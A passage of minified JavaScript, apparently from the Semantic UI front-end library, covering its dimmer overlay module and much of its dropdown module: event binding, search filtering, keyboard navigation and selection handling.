l,u=[].slice.call(arguments,1);return a.each(function(){var d,f,m,g=e.isPlainObject(t)?e.extend(!0,{},e.fn.dimmer.settings,t):e.extend({},e.fn.dimmer.settings),p=g.selector,h=g.namespace,v=g.className,b=g.error,y="."+h,x="module-"+h,C=a.selector||"",w="ontouchstart"in n.documentElement?"touchstart":"click",k=e(this),S=this,T=k.data(x);m={preinitialize:function(){m.is.dimmer()?(f=k.parent(),d=k):(f=k,d=m.has.dimmer()?g.dimmerName?f.find(p.dimmer).filter("."+g.dimmerName):f.find(p.dimmer):m.create(),m.set.variation())},initialize:function(){m.debug("Initializing dimmer",g),m.bind.events(),m.set.dimmable(),m.instantiate()},instantiate:function(){m.verbose("Storing instance of module",m),T=m,k.data(x,T)},destroy:function(){m.verbose("Destroying previous module",d),m.unbind.events(),m.remove.variation(),f.off(y)},bind:{events:function(){"hover"==g.on?f.on("mouseenter"+y,m.show).on("mouseleave"+y,m.hide):"click"==g.on&&f.on(w+y,m.toggle),m.is.page()&&(m.debug("Setting as a page dimmer",f),m.set.pageDimmer()),m.is.closable()&&(m.verbose("Adding dimmer close event",d),f.on(w+y,p.dimmer,m.event.click))}},unbind:{events:function(){k.removeData(x),f.off(y)}},event:{click:function(t){m.verbose("Determining if event occured on dimmer",t),(0===d.find(t.target).length||e(t.target).is(p.content))&&(m.hide(),t.stopImmediatePropagation())}},addContent:function(t){var n=e(t);m.debug("Add content to dimmer",n),n.parent()[0]!==d[0]&&n.detach().appendTo(d)},create:function(){var t=e(g.template.dimmer());return g.dimmerName&&(m.debug("Creating named dimmer",g.dimmerName),t.addClass(g.dimmerName)),t.appendTo(f),t},show:function(t){t=e.isFunction(t)?t:function(){},m.debug("Showing dimmer",d,g),m.is.dimmed()&&!m.is.animating()||!m.is.enabled()?m.debug("Dimmer is already shown or disabled"):(m.animate.show(t),g.onShow.call(S),g.onChange.call(S))},hide:function(t){t=e.isFunction(t)?t:function(){},m.is.dimmed()||m.is.animating()?(m.debug("Hiding dimmer",d),m.animate.hide(t),g.onHide.call(S),g.onChange.call(S)):m.debug("Dimmer is not visible")},toggle:function(){m.verbose("Toggling dimmer visibility",d),m.is.dimmed()?m.hide():m.show()},animate:{show:function(t){t=e.isFunction(t)?t:function(){},g.useCSS&&e.fn.transition!==i&&d.transition("is supported")?("auto"!==g.opacity&&m.set.opacity(),d.transition({animation:g.transition+" in",queue:!1,duration:m.get.duration(),useFailSafe:!0,onStart:function(){m.set.dimmed()},onComplete:function(){m.set.active(),t()}})):(m.verbose("Showing dimmer animation with javascript"),m.set.dimmed(),"auto"==g.opacity&&(g.opacity=.8),d.stop().css({opacity:0,width:"100%",height:"100%"}).fadeTo(m.get.duration(),g.opacity,function(){d.removeAttr("style"),m.set.active(),t()}))},hide:function(t){t=e.isFunction(t)?t:function(){},g.useCSS&&e.fn.transition!==i&&d.transition("is supported")?(m.verbose("Hiding dimmer with css"),d.transition({animation:g.transition+" out",queue:!1,duration:m.get.duration(),useFailSafe:!0,onStart:function(){m.remove.dimmed()},onComplete:function(){m.remove.active(),t()}})):(m.verbose("Hiding dimmer with javascript"),m.remove.dimmed(),d.stop().fadeOut(m.get.duration(),function(){m.remove.active(),d.removeAttr("style"),t()}))}},get:{dimmer:function(){return d},duration:function(){return"object"==typeof g.duration?m.is.active()?g.duration.hide:g.duration.show:g.duration}},has:{dimmer:function(){return g.dimmerName?k.find(p.dimmer).filter("."+g.dimmerName).length>0:k.find(p.dimmer).length>0}},is:{active:function(){return d.hasClass(v.active)},animating:function(){return d.is(":animated")||d.hasClass(v.animating)},closable:function(){return"auto"==g.closable?"hover"!=g.on:g.closable},dimmer:function(){return k.hasClass(v.dimmer)},dimmable:function(){return k.hasClass(v.dimmable)},dimmed:function(){return f.hasClass(v.dimmed)},disabled:function(){return f.hasClass(v.disabled)},enabled:function(){return!m.is.disabled()},page:function(){return f.is("body")},pageDimmer:function(){return d.hasClass(v.pageDimmer)}},can:{show:function(){return!d.hasClass(v.disabled)}},set:{opacity:function(e){var t=d.css("background-color"),n=t.split(","),i=n&&3==n.length,o=n&&4==n.length;e=0===g.opacity?0:g.opacity||e,i||o?(n[3]=e+")",t=n.join(",")):t="rgba(0, 0, 0, "+e+")",m.debug("Setting opacity to",e),d.css("background-color",t)},active:function(){d.addClass(v.active)},dimmable:function(){f.addClass(v.dimmable)},dimmed:function(){f.addClass(v.dimmed)},pageDimmer:function(){d.addClass(v.pageDimmer)},disabled:function(){d.addClass(v.disabled)},variation:function(e){e=e||g.variation,e&&d.addClass(e)}},remove:{active:function(){d.removeClass(v.active)},dimmed:function(){f.removeClass(v.dimmed)},disabled:function(){d.removeClass(v.disabled)},variation:function(e){e=e||g.variation,e&&d.removeClass(e)}},setting:function(t,n){if(m.debug("Changing setting",t,n),e.isPlainObject(t))e.extend(!0,g,t);else{if(n===i)return g[t];e.isPlainObject(g[t])?e.extend(!0,g[t],n):g[t]=n}},internal:function(t,n){if(e.isPlainObject(t))e.extend(!0,m,t);else{if(n===i)return m[t];m[t]=n}},debug:function(){!g.silent&&g.debug&&(g.performance?m.performance.log(arguments):(m.debug=Function.prototype.bind.call(console.info,console,g.name+":"),m.debug.apply(console,arguments)))},verbose:function(){!g.silent&&g.verbose&&g.debug&&(g.performance?m.performance.log(arguments):(m.verbose=Function.prototype.bind.call(console.info,console,g.name+":"),m.verbose.apply(console,arguments)))},error:function(){g.silent||(m.error=Function.prototype.bind.call(console.error,console,g.name+":"),m.error.apply(console,arguments))},performance:{log:function(e){var t,n,i;g.performance&&(t=(new Date).getTime(),i=r||t,n=t-i,r=t,s.push({Name:e[0],Arguments:[].slice.call(e,1)||"",Element:S,"Execution Time":n})),clearTimeout(m.performance.timer),m.performance.timer=setTimeout(m.performance.display,500)},display:function(){var t=g.name+":",n=0;r=!1,clearTimeout(m.performance.timer),e.each(s,function(e,t){n+=t["Execution Time"]}),t+=" "+n+"ms",C&&(t+=" '"+C+"'"),a.length>1&&(t+=" ("+a.length+")"),(console.group!==i||console.table!==i)&&s.length>0&&(console.groupCollapsed(t),console.table?console.table(s):e.each(s,function(e,t){console.log(t.Name+": "+t["Execution Time"]+"ms")}),console.groupEnd()),s=[]}},invoke:function(t,n,a){var r,s,l,c=T;return n=n||u,a=S||a,"string"==typeof t&&c!==i&&(t=t.split(/[\. ]/),r=t.length-1,e.each(t,function(n,o){var a=n!=r?o+t[n+1].charAt(0).toUpperCase()+t[n+1].slice(1):t;if(e.isPlainObject(c[a])&&n!=r)c=c[a];else{if(c[a]!==i)return s=c[a],!1;if(!e.isPlainObject(c[o])||n==r)return c[o]!==i?(s=c[o],!1):(m.error(b.method,t),!1);c=c[o]}})),e.isFunction(s)?l=s.apply(a,n):s!==i&&(l=s),e.isArray(o)?o.push(l):o!==i?o=[o,l]:l!==i&&(o=l),s}},m.preinitialize(),c?(T===i&&m.initialize(),m.invoke(l)):(T!==i&&T.invoke("destroy"),m.initialize())}),o!==i?o:this},e.fn.dimmer.settings={name:"Dimmer",namespace:"dimmer",silent:!1,debug:!1,verbose:!1,performance:!0,dimmerName:!1,variation:!1,closable:"auto",useCSS:!0,transition:"fade",on:!1,opacity:"auto",duration:{show:500,hide:500},onChange:function(){},onShow:function(){},onHide:function(){},error:{method:"The method you called is not defined."},className:{active:"active",animating:"animating",dimmable:"dimmable",dimmed:"dimmed",dimmer:"dimmer",disabled:"disabled",hide:"hide",pageDimmer:"page",show:"show"},selector:{dimmer:"> .ui.dimmer",content:".ui.dimmer > .content, .ui.dimmer > .content > .center"},template:{dimmer:function(){return e("<div />").attr("class","ui dimmer")}}}}(jQuery,window,document),function(e,t,n,i){"use strict";t="undefined"!=typeof t&&t.Math==Math?t:"undefined"!=typeof self&&self.Math==Math?self:Function("return this")(),e.fn.dropdown=function(o){var a,r=e(this),s=e(n),l=r.selector||"",c="ontouchstart"in n.documentElement,u=(new Date).getTime(),d=[],f=arguments[0],m="string"==typeof f,g=[].slice.call(arguments,1);return r.each(function(p){var h,v,b,y,x,C,w,k,S=e.isPlainObject(o)?e.extend(!0,{},e.fn.dropdown.settings,o):e.extend({},e.fn.dropdown.settings),T=S.className,A=S.message,R=S.fields,P=S.keys,E=S.metadata,F=S.namespace,O=S.regExp,D=S.selector,q=S.error,j=S.templates,z="."+F,M="module-"+F,I=e(this),L=e(S.context),N=I.find(D.text),V=I.find(D.search),H=I.find(D.sizer),U=I.find(D.input),W=I.find(D.icon),B=I.prev().find(D.text).length>0?I.prev().find(D.text):I.prev(),Q=I.children(D.menu),X=Q.find(D.item),$=!1,Y=!1,K=!1,Z=this,J=I.data(M);k={initialize:function(){k.debug("Initializing dropdown",S),k.is.alreadySetup()?k.setup.reference():(k.setup.layout(),k.refreshData(),k.save.defaults(),k.restore.selected(),k.create.id(),k.bind.events(),k.observeChanges(),k.instantiate())},instantiate:function(){k.verbose("Storing instance of dropdown",k),J=k,I.data(M,k)},destroy:function(){k.verbose("Destroying previous dropdown",I),k.remove.tabbable(),I.off(z).removeData(M),Q.off(z),s.off(y),k.disconnect.menuObserver(),k.disconnect.selectObserver()},observeChanges:function(){"MutationObserver"in t&&(C=new MutationObserver(k.event.select.mutation),w=new MutationObserver(k.event.menu.mutation),k.debug("Setting up mutation observer",C,w),k.observe.select(),k.observe.menu())},disconnect:{menuObserver:function(){w&&w.disconnect()},selectObserver:function(){C&&C.disconnect()}},observe:{select:function(){k.has.input()&&C.observe(U[0],{childList:!0,subtree:!0})},menu:function(){k.has.menu()&&w.observe(Q[0],{childList:!0,subtree:!0})}},create:{id:function(){x=(Math.random().toString(16)+"000000000").substr(2,8),y="."+x,k.verbose("Creating unique id for element",x)},userChoice:function(t){var n,o,a;return!!(t=t||k.get.userValues())&&(t=e.isArray(t)?t:[t],e.each(t,function(t,r){k.get.item(r)===!1&&(a=S.templates.addition(k.add.variables(A.addResult,r)),o=e("<div />").html(a).attr("data-"+E.value,r).attr("data-"+E.text,r).addClass(T.addition).addClass(T.item),S.hideAdditions&&o.addClass(T.hidden),n=n===i?o:n.add(o),k.verbose("Creating user choices for value",r,o))}),n)},userLabels:function(t){var n=k.get.userValues();n&&(k.debug("Adding user labels",n),e.each(n,function(e,t){k.verbose("Adding custom user value"),k.add.label(t,t)}))},menu:function(){Q=e("<div />").addClass(T.menu).appendTo(I)},sizer:function(){H=e("<span />").addClass(T.sizer).insertAfter(V)}},search:function(e){e=e!==i?e:k.get.query(),k.verbose("Searching for query",e),k.has.minCharacters(e)?k.filter(e):k.hide()},select:{firstUnfiltered:function(){k.verbose("Selecting first non-filtered element"),k.remove.selectedItem(),X.not(D.unselectable).not(D.addition+D.hidden).eq(0).addClass(T.selected)},nextAvailable:function(e){e=e.eq(0);var t=e.nextAll(D.item).not(D.unselectable).eq(0),n=e.prevAll(D.item).not(D.unselectable).eq(0),i=t.length>0;i?(k.verbose("Moving selection to",t),t.addClass(T.selected)):(k.verbose("Moving selection to",n),n.addClass(T.selected))}},setup:{api:function(){var e={debug:S.debug,urlData:{value:k.get.value(),query:k.get.query()},on:!1};k.verbose("First request, initializing API"),I.api(e)},layout:function(){I.is("select")&&(k.setup.select(),k.setup.returnedObject()),k.has.menu()||k.create.menu(),k.is.search()&&!k.has.search()&&(k.verbose("Adding search input"),V=e("<input />").addClass(T.search).prop("autocomplete","off").insertBefore(N)),k.is.multiple()&&k.is.searchSelection()&&!k.has.sizer()&&k.create.sizer(),S.allowTab&&k.set.tabbable()},select:function(){var t=k.get.selectValues();k.debug("Dropdown initialized on a select",t),I.is("select")&&(U=I),U.parent(D.dropdown).length>0?(k.debug("UI dropdown already exists. Creating dropdown menu only"),I=U.closest(D.dropdown),k.has.menu()||k.create.menu(),Q=I.children(D.menu),k.setup.menu(t)):(k.debug("Creating entire dropdown from select"),I=e("<div />").attr("class",U.attr("class")).addClass(T.selection).addClass(T.dropdown).html(j.dropdown(t)).insertBefore(U),U.hasClass(T.multiple)&&U.prop("multiple")===!1&&(k.error(q.missingMultiple),U.prop("multiple",!0)),U.is("[multiple]")&&k.set.multiple(),U.prop("disabled")&&(k.debug("Disabling dropdown"),I.addClass(T.disabled)),U.removeAttr("class").detach().prependTo(I)),k.refresh()},menu:function(e){Q.html(j.menu(e,R)),X=Q.find(D.item)},reference:function(){k.debug("Dropdown behavior was called on select, replacing with closest dropdown"),I=I.parent(D.dropdown),k.refresh(),k.setup.returnedObject(),m&&(J=k,k.invoke(f))},returnedObject:function(){var e=r.slice(0,p),t=r.slice(p+1);r=e.add(I).add(t)}},refresh:function(){k.refreshSelectors(),k.refreshData()},refreshItems:function(){X=Q.find(D.item)},refreshSelectors:function(){k.verbose("Refreshing selector cache"),N=I.find(D.text),V=I.find(D.search),U=I.find(D.input),W=I.find(D.icon),B=I.prev().find(D.text).length>0?I.prev().find(D.text):I.prev(),Q=I.children(D.menu),X=Q.find(D.item)},refreshData:function(){k.verbose("Refreshing cached metadata"),X.removeData(E.text).removeData(E.value)},clearData:function(){k.verbose("Clearing metadata"),X.removeData(E.text).removeData(E.value),I.removeData(E.defaultText).removeData(E.defaultValue).removeData(E.placeholderText)},toggle:function(){k.verbose("Toggling menu visibility"),k.is.active()?k.hide():k.show()},show:function(t){if(t=e.isFunction(t)?t:function(){},k.can.show()&&!k.is.active()){if(k.debug("Showing dropdown"),!k.has.message()||k.has.maxSelections()||k.has.allResultsFiltered()||k.remove.message(),k.is.allFiltered())return!0;S.onShow.call(Z)!==!1&&k.animate.show(function(){k.can.click()&&k.bind.intent(),k.has.menuSearch()&&k.focusSearch(),k.set.visible(),t.call(Z)})}},hide:function(t){t=e.isFunction(t)?t:function(){},k.is.active()&&(k.debug("Hiding dropdown"),S.onHide.call(Z)!==!1&&k.animate.hide(function(){k.remove.visible(),t.call(Z)}))},hideOthers:function(){k.verbose("Finding other dropdowns to hide"),r.not(I).has(D.menu+"."+T.visible).dropdown("hide")},hideMenu:function(){k.verbose("Hiding menu  instantaneously"),k.remove.active(),k.remove.visible(),Q.transition("hide")},hideSubMenus:function(){var e=Q.children(D.item).find(D.menu);k.verbose("Hiding sub menus",e),e.transition("hide")},bind:{events:function(){c&&k.bind.touchEvents(),k.bind.keyboardEvents(),k.bind.inputEvents(),k.bind.mouseEvents()},touchEvents:function(){k.debug("Touch device detected binding additional touch events"),k.is.searchSelection()||k.is.single()&&I.on("touchstart"+z,k.event.test.toggle),Q.on("touchstart"+z,D.item,k.event.item.mouseenter)},keyboardEvents:function(){k.verbose("Binding keyboard events"),I.on("keydown"+z,k.event.keydown),k.has.search()&&I.on(k.get.inputEvent()+z,D.search,k.event.input),k.is.multiple()&&s.on("keydown"+y,k.event.document.keydown)},inputEvents:function(){k.verbose("Binding input change events"),I.on("change"+z,D.input,k.event.change)},mouseEvents:function(){k.verbose("Binding mouse events"),k.is.multiple()&&I.on("click"+z,D.label,k.event.label.click).on("click"+z,D.remove,k.event.remove.click),k.is.searchSelection()?(I.on("mousedown"+z,k.event.mousedown).on("mouseup"+z,k.event.mouseup).on("mousedown"+z,D.menu,k.event.menu.mousedown).on("mouseup"+z,D.menu,k.event.menu.mouseup).on("click"+z,D.icon,k.event.icon.click).on("focus"+z,D.search,k.event.search.focus).on("click"+z,D.search,k.event.search.focus).on("blur"+z,D.search,k.event.search.blur).on("click"+z,D.text,k.event.text.focus),k.is.multiple()&&I.on("click"+z,k.event.click)):("click"==S.on?I.on("click"+z,D.icon,k.event.icon.click).on("click"+z,k.event.test.toggle):"hover"==S.on?I.on("mouseenter"+z,k.delay.show).on("mouseleave"+z,k.delay.hide):I.on(S.on+z,k.toggle),I.on("mousedown"+z,k.event.mousedown).on("mouseup"+z,k.event.mouseup).on("focus"+z,k.event.focus).on("blur"+z,k.event.blur)),Q.on("mouseenter"+z,D.item,k.event.item.mouseenter).on("mouseleave"+z,D.item,k.event.item.mouseleave).on("click"+z,D.item,k.event.item.click)},intent:function(){k.verbose("Binding hide intent event to document"),c&&s.on("touchstart"+y,k.event.test.touch).on("touchmove"+y,k.event.test.touch),s.on("click"+y,k.event.test.hide)}},unbind:{intent:function(){k.verbose("Removing hide intent event from document"),c&&s.off("touchstart"+y).off("touchmove"+y),s.off("click"+y)}},filter:function(e){var t=e!==i?e:k.get.query(),n=function(){k.is.multiple()&&k.filterActive(),k.select.firstUnfiltered(),k.has.allResultsFiltered()?S.onNoResults.call(Z,t)?S.allowAdditions?S.hideAdditions&&(k.verbose("User addition with no menu, setting empty style"),k.set.empty(),k.hideMenu()):(k.verbose("All items filtered, showing message",t),k.add.message(A.noResults)):(k.verbose("All items filtered, hiding dropdown",t),k.hideMenu()):(k.remove.empty(),k.remove.message()),S.allowAdditions&&k.add.userSuggestion(e),k.is.searchSelection()&&k.can.show()&&k.is.focusedOnSearch()&&k.show()};S.useLabels&&k.has.maxSelections()||(S.apiSettings?k.can.useAPI()?k.queryRemote(t,function(){n()}):k.error(q.noAPI):(k.filterItems(t),n()))},queryRemote:function(t,n){var i={errorDuration:!1,cache:"local",throttle:S.throttle,urlData:{query:t},onError:function(){k.add.message(A.serverError),n()},onFailure:function(){k.add.message(A.serverError),n()},onSuccess:function(e){k.remove.message(),k.setup.menu({values:e[R.remoteValues]}),n()}};I.api("get request")||k.setup.api(),i=e.extend(!0,{},i,S.apiSettings),I.api("setting",i).api("query")},filterItems:function(t){var n=t!==i?t:k.get.query(),o=null,a=k.escape.regExp(n),r=new RegExp("^"+a,"igm");k.has.query()&&(o=[],k.verbose("Searching for matching values",n),X.each(function(){var t,i,a=e(this);if("both"==S.match||"text"==S.match){if(t=String(k.get.choiceText(a,!1)),t.search(r)!==-1)return o.push(this),!0;if("exact"===S.fullTextSearch&&k.exactSearch(n,t))return o.push(this),!0;if(S.fullTextSearch===!0&&k.fuzzySearch(n,t))return o.push(this),!0}if("both"==S.match||"value"==S.match){if(i=String(k.get.choiceValue(a,t)),i.search(r)!==-1)return o.push(this),!0;if(S.fullTextSearch&&k.fuzzySearch(n,i))return o.push(this),!0}})),k.debug("Showing only matched items",n),k.remove.filteredItem(),o&&X.not(o).addClass(T.filtered)},fuzzySearch:function(e,t){var n=t.length,i=e.length;if(e=e.toLowerCase(),t=t.toLowerCase(),i>n)return!1;if(i===n)return e===t;e:for(var o=0,a=0;o<i;o++){for(var r=e.charCodeAt(o);a<n;)if(t.charCodeAt(a++)===r)continue e;return!1}return!0},exactSearch:function(e,t){return e=e.toLowerCase(),t=t.toLowerCase(),t.indexOf(e)>-1},filterActive:function(){S.useLabels&&X.filter("."+T.active).addClass(T.filtered)},focusSearch:function(e){k.has.search()&&!k.is.focusedOnSearch()&&(e?(I.off("focus"+z,D.search),V.focus(),I.on("focus"+z,D.search,k.event.search.focus)):V.focus())},forceSelection:function(){var e=X.not(T.filtered).filter("."+T.selected).eq(0),t=X.not(T.filtered).filter("."+T.active).eq(0),n=e.length>0?e:t,i=n.length>0;return i?(k.debug("Forcing partial selection to selected item",n),void k.event.item.click.call(n,{},!0)):void(S.allowAdditions?(k.set.selected(k.get.query()),k.remove.searchTerm()):k.remove.searchTerm())},event:{change:function(){K||(k.debug("Input changed, updating selection"),k.set.selected())},focus:function(){S.showOnFocus&&!$&&k.is.hidden()&&!v&&k.show()},blur:function(e){v=n.activeElement===this,$||v||(k.remove.activeLabel(),k.hide())},mousedown:function(){k.is.searchSelection()?b=!0:$=!0},mouseup:function(){k.is.searchSelection()?b=!1:$=!1},click:function(t){var n=e(t.target);n.is(I)&&(k.is.focusedOnSearch()?k.show():k.focusSearch())},search:{focus:function(){$=!0,k.is.multiple()&&k.remove.activeLabel(),S.showOnFocus&&k.search()},blur:function(e){v=n.activeElement===this,b||Y||v||(S.forceSelection&&k.forceSelection(),k.hide()),b=!1}},icon:{click:function(e){k.toggle()}},text:{focus:function(e){$=!0,k.focusSearch()}},input:function(e){(k.is.multiple()||k.is.searchSelection())&&k.set.filtered(),clearTimeout(k.timer),k.timer=setTimeout(k.search,S.delay.search);
},label:{click:function(t){var n=e(this),i=I.find(D.label),o=i.filter("."+T.active),a=n.nextAll("."+T.active),r=n.prevAll("."+T.active),s=a.length>0?n.nextUntil(a).add(o).add(n):n.prevUntil(r).add(o).add(n);t.shiftKey?(o.removeClass(T.active),s.addClass(T.active)):t.ctrlKey?n.toggleClass(T.active):(o.removeClass(T.active),n.addClass(T.active)),S.onLabelSelect.apply(this,i.filter("."+T.active))}},remove:{click:function(){var t=e(this).parent();t.hasClass(T.active)?k.remove.activeLabels():k.remove.activeLabels(t)}},test:{toggle:function(e){var t=k.is.multiple()?k.show:k.toggle;k.is.bubbledLabelClick(e)||k.is.bubbledIconClick(e)||k.determine.eventOnElement(e,t)&&e.preventDefault()},touch:function(e){k.determine.eventOnElement(e,function(){"touchstart"==e.type?k.timer=setTimeout(function(){k.hide()},S.delay.touch):"touchmove"==e.type&&clearTimeout(k.timer)}),e.stopPropagation()},hide:function(e){k.determine.eventInModule(e,k.hide)}},select:{mutation:function(e){k.debug("<select> modified, recreating menu"),k.setup.select()}},menu:{mutation:function(t){var n=t[0],i=e(n.addedNodes?n.addedNodes[0]:!1),o=e(n.removedNodes?n.removedNodes[0]:!1),a=i.add(o),r=a.is(D.addition)||a.closest(D.addition).length>0,s=a.is(D.message)||a.closest(D.message).length>0;r||s?(k.debug("Updating item selector cache"),k.refreshItems()):(k.debug("Menu modified, updating selector cache"),k.refresh())},mousedown:function(){Y=!0},mouseup:function(){Y=!1}},item:{mouseenter:function(t){var n=e(t.target),i=e(this),o=i.children(D.menu),a=i.siblings(D.item).children(D.menu),r=o.length>0,s=o.find(n).length>0;!s&&r&&(clearTimeout(k.itemTimer),k.itemTimer=setTimeout(function(){k.verbose("Showing sub-menu",o),e.each(a,function(){k.animate.hide(!1,e(this))}),k.animate.show(!1,o)},S.delay.show),t.preventDefault())},mouseleave:function(t){var n=e(this).children(D.menu);n.length>0&&(clearTimeout(k.itemTimer),k.itemTimer=setTimeout(function(){k.verbose("Hiding sub-menu",n),k.animate.hide(!1,n)},S.delay.hide))},click:function(t,n){var i=e(this),o=e(t?t.target:""),a=i.find(D.menu),r=k.get.choiceText(i),s=k.get.choiceValue(i,r),l=a.length>0,c=a.find(o).length>0;c||l&&!S.allowCategorySelection||(k.is.searchSelection()&&(S.allowAdditions&&k.remove.userAddition(),k.remove.searchTerm(),k.is.focusedOnSearch()||1==n||k.focusSearch(!0)),S.useLabels||(k.remove.filteredItem(),k.set.scrollPosition(i)),k.determine.selectAction.call(this,r,s))}},document:{keydown:function(e){var t=e.which,n=k.is.inObject(t,P);if(n){var i=I.find(D.label),o=i.filter("."+T.active),a=(o.data(E.value),i.index(o)),r=i.length,s=o.length>0,l=o.length>1,c=0===a,u=a+1==r,d=k.is.searchSelection(),f=k.is.focusedOnSearch(),m=k.is.focused(),g=f&&0===k.get.caretPosition();if(d&&!s&&!f)return;t==P.leftArrow?!m&&!g||s?s&&(e.shiftKey?k.verbose("Adding previous label to selection"):(k.verbose("Selecting previous label"),i.removeClass(T.active)),c&&!l?o.addClass(T.active):o.prev(D.siblingLabel).addClass(T.active).end(),e.preventDefault()):(k.verbose("Selecting previous label"),i.last().addClass(T.active)):t==P.rightArrow?(m&&!s&&i.first().addClass(T.active),s&&(e.shiftKey?k.verbose("Adding next label to selection"):(k.verbose("Selecting next label"),i.removeClass(T.active)),u?d?f?i.removeClass(T.active):k.focusSearch():l?o.next(D.siblingLabel).addClass(T.active):o.addClass(T.active):o.next(D.siblingLabel).addClass(T.active),e.preventDefault())):t==P.deleteKey||t==P.backspace?s?(k.verbose("Removing active labels"),u&&d&&!f&&k.focusSearch(),o.last().next(D.siblingLabel).addClass(T.active),k.remove.activeLabels(o),e.preventDefault()):g&&!s&&t==P.backspace&&(k.verbose("Removing last label on input backspace"),o=i.last().addClass(T.active),k.remove.activeLabels(o)):o.removeClass(T.active)}}},keydown:function(e){var t=e.which,n=k.is.inObject(t,P);if(n){var i,o,a=X.not(D.unselectable).filter("."+T.selected).eq(0),r=Q.children("."+T.active).eq(0),s=a.length>0?a:r,l=s.length>0?s.siblings(":not(."+T.filtered+")").addBack():Q.children(":not(."+T.filtered+")"),c=s.children(D.menu),u=s.closest(D.menu),d=u.hasClass(T.visible)||u.hasClass(T.animating)||u.parent(D.menu).length>0,f=c.length>0,m=s.length>0,g=s.not(D.unselectable).length>0,p=t==P.delimiter&&S.allowAdditions&&k.is.multiple(),h=S.allowAdditions&&S.hideAdditions&&(t==P.enter||p)&&g;if(h&&(k.verbose("Selecting item from keyboard shortcut",s),k.event.item.click.call(s,e),k.is.searchSelection()&&k.remove.searchTerm()),k.is.visible()){if((t==P.enter||p)&&(t==P.enter&&m&&f&&!S.allowCategorySelection?(k.verbose("Pressed enter on unselectable category, opening sub menu"),t=P.rightArrow):g&&(k.verbose("Selecting item from keyboard shortcut",s),k.event.item.click.call(s,e),k.is.searchSelection()&&k.remove.searchTerm()),e.preventDefault()),m&&(t==P.leftArrow&&(o=u[0]!==Q[0],o&&(k.verbose("Left key pressed, closing sub-menu"),k.animate.hide(!1,u),s.removeClass(T.selected),u.closest(D.item).addClass(T.selected),e.preventDefault())),t==P.rightArrow&&f&&(k.verbose("Right key pressed, opening sub-menu"),k.animate.show(!1,c),s.removeClass(T.selected),c.find(D.item).eq(0).addClass(T.selected),e.preventDefault())),t==P.upArrow){if(i=m&&d?s.prevAll(D.item+":not("+D.unselectable+")").eq(0):X.eq(0),l.index(i)<0)return k.verbose("Up key pressed but reached top of current menu"),void e.preventDefault();k.verbose("Up key pressed, changing active item"),s.removeClass(T.selected),i.addClass(T.selected),k.set.scrollPosition(i),S.selectOnKeydown&&k.is.single()&&k.set.selectedItem(i),e.preventDefault()}if(t==P.downArrow){if(i=m&&d?i=s.nextAll(D.item+":not("+D.unselectable+")").eq(0):X.eq(0),0===i.length)return k.verbose("Down key pressed but reached bottom of current menu"),void e.preventDefault();k.verbose("Down key pressed, changing active item"),X.removeClass(T.selected),i.addClass(T.selected),k.set.scrollPosition(i),S.selectOnKeydown&&k.is.single()&&k.set.selectedItem(i),e.preventDefault()}t==P.pageUp&&(k.scrollPage("up"),e.preventDefault()),t==P.pageDown&&(k.scrollPage("down"),e.preventDefault()),t==P.escape&&(k.verbose("Escape key pressed, closing dropdown"),k.hide())}else p&&e.preventDefault(),t!=P.downArrow||k.is.visible()||(k.verbose("Down key pressed, showing dropdown"),k.select.firstUnfiltered(),k.show(),e.preventDefault())}else k.has.search()||k.set.selectedLetter(String.fromCharCode(t))}},trigger:{change:function(){var e=n.createEvent("HTMLEvents"),t=U[0];t&&(k.verbose("Triggering native change event"),e.initEvent("change",!0,!1),t.dispatchEvent(e))}},determine:{selectAction:function(t,n){k.verbose("Determining action",S.action),e.isFunction(k.action[S.action])?(k.verbose("Triggering preset action",S.action,t,n),k.action[S.action].call(Z,t,n,this)):e.isFunction(S.action)?(k.verbose("Triggering user action",S.action,t,n),S.action.call(Z,t,n,this)):k.error(q.action,S.action)},eventInModule:function(t,i){var o=e(t.target),a=o.closest(n.documentElement).length>0,r=o.closest(I).length>0;return i=e.isFunction(i)?i:function(){},a&&!r?(k.verbose("Triggering event",i),i(),!0):(k.verbose("Event occurred in dropdown, canceling callback"),!1)},eventOnElement:function(t,i){var o=e(t.target),a=o.closest(D.siblingLabel),r=n.body.contains(t.target),s=0===I.find(a).length,l=0===o.closest(Q).length;return i=e.isFunction(i)?i:function(){},r&&s&&l?(k.verbose("Triggering event",i),i(),!0):(k.verbose("Event occurred in dropdown menu, canceling callback"),!1)}},action:{nothing:function(){},activate:function(t,n,o){if(n=n!==i?n:t,k.can.activate(e(o))){if(k.set.selected(n,e(o)),k.is.multiple()&&!k.is.allFiltered())return;k.hideAndClear()}},select:function(t,n,o){if(n=n!==i?n:t,k.can.activate(e(o))){if(k.set.value(n,e(o)),k.is.multiple()&&!k.is.allFiltered())return;k.hideAndClear()}},combo:function(t,n,o){n=n!==i?n:t,k.set.selected(n,e(o)),k.hideAndClear()},hide:function(e,t,n){k.set.value(t,e),k.hideAndClear()}},get:{id:function(){return x},defaultText:function(){return I.data(E.defaultText)},defaultValue:function(){return I.data(E.defaultValue)},placeholderText:function(){return I.data(E.placeholderText)||""},text:function(){return N.text()},query:function(){return e.trim(V.val())},searchWidth:function(e){return e=e!==i?e:V.val(),H.text(e),Math.ceil(H.width()+1)},selectionCount:function(){var t,n=k.get.values();return t=k.is.multiple()?e.isArray(n)?n.length:0:""!==k.get.value()?1:0},transition:function(e){return"auto"==S.transition?k.is.upward(e)?"slide up":"slide down":S.transition},userValues:function(){var t=k.get.values();return!!t&&(t=e.isArray(t)?t:[t],e.grep(t,function(e){return k.get.item(e)===!1}))},uniqueArray:function(t){return e.grep(t,function(n,i){return e.inArray(n,t)===i})},caretPosition:function(){var e,t,i=V.get(0);return"selectionStart"in i?i.selectionStart:n.selection?(i.focus(),e=n.selection.createRange(),t=e.text.length,e.moveStart("character",-i.value.length),e.text.length-t):void 0},value:function(){var t=U.length>0?U.val():I.data(E.value),n=e.isArray(t)&&1===t.length&&""===t[0];return t===i||n?"":t},values:function(){var e=k.get.value();return""===e?"":!k.has.selectInput()&&k.is.multiple()?"string"==typeof e?e.split(S.delimiter):"":e},remoteValues:function(){var t=k.get.values(),n=!1;return t&&("string"==typeof t&&(t=[t]),e.each(t,function(e,t){var i=k.read.remoteData(t);k.verbose("Restoring value from session data",i,t),i&&(n||(n={}),n[t]=i)})),n},choiceText:function(t,n){if(n=n!==i?n:S.preserveHTML,t)return t.find(D.menu).length>0&&(k.verbose("Retrieving text of element with sub-menu"),t=t.clone(),t.find(D.menu).remove(),t.find(D.menuIcon).remove()),t.data(E.text)!==i?t.data(E.text):n?e.trim(t.html()):e.trim(t.text())},choiceValue:function(t,n){return 